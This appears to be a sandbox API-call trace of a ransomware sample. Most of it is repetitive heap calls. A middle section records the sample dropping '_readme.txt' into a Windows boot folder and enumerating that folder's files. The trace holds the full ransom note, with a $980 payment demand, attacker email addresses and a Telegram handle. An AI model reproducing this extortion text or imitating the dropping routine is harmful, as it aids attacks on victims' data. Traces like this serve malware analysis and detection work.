Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.640] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.640] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.641] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.641] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.642] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.642] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.643] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.643] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0112.643] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.643] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.643] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.643] PathFindFileNameW (pszPath="") returned="" [0112.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.644] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.644] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.644] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.644] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.644] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0112.644] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.644] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 0 [0112.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.646] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.646] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.646] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\_readme.txt" (normalized: "c:\\boot\\nl-nl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.646] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.646] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.646] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.646] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.646] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.646] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.646] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.646] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.647] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.647] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) 